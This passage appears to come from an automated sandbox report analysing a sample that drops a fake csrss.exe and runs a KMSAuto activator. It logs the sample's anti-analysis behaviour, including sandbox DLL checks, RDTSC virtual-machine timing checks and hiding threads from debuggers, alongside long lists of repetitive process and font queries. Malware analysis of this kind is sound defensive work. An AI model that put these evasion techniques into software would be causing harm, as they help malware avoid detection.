Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: csrss.exe, 00000001.00000002.285935539.000000000041E000.00000020.00000001.01000000.00000004.sdmp

Binary or memory string: SBIEDLL.DLL

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Users\user\AppData\Roaming\csrss.exe	Special instruction interceptor: First address: 00000000007C5B12 instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Source: C:\Users\user\AppData\Roaming\csrss.exe	Special instruction interceptor: First address: 00000000007D1A75 instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\csrss.exe	RDTSC instruction interceptor: First address: 00000000008DB6C4 second address: 00000000008DB6CB instructions: 0x00000000 rdtsc 0x00000002 inc ebp 0x00000003 mov bh, dl 0x00000005 cwde 0x00000006 pop ebp 0x00000007 rdtsc
Source: C:\Users\user\AppData\Roaming\csrss.exe	RDTSC instruction interceptor: First address: 00000000007DAB78 second address: 00000000007D1A75 instructions: 0x00000000 rdtsc 0x00000002 pop eax 0x00000003 jmp 00007F07147B6D5Dh 0x00000008 pop ebx 0x00000009 mov dx, sp 0x0000000c cmovle edx, esi 0x0000000f pop edx 0x00000010 jmp 00007F0714726433h 0x00000015 ret 0x00000016 popfd 0x00000017 rdtsc

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\csrss.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\csrss.exe

System information queried: ModuleInformation

Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.me
Source: Amcache.hve.4.dr	Binary or memory string: VMware-42 35 d8 20 48 cb c7 ff-aa 5e d0 37 a0 49 53 d7
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.18227214.B64.2106252220,BiosReleaseDate:06/25/2021,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\Roaming\csrss.exe

Thread information set: HideFromDebugger

Jump to behavior

Source: C:\Users\user\AppData\Roaming\csrss.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\csrss.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process created: C:\Users\user\AppData\Roaming\csrss.exe "C:\Users\user\AppData\Roaming\csrss.exe" /nc /s			Jump to behavior
Source: C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	Process created: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe "C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe" /nc			Jump to behavior

Source: KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr

Binary or memory string: m/r /f /t 0ababccdabcdefgePathfgFlag Library not initialisedShell_TrayWndBelizeSoftwareProtectionPlatform\tokens.datBasqueNorwegianNot joined to any domain or group

Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
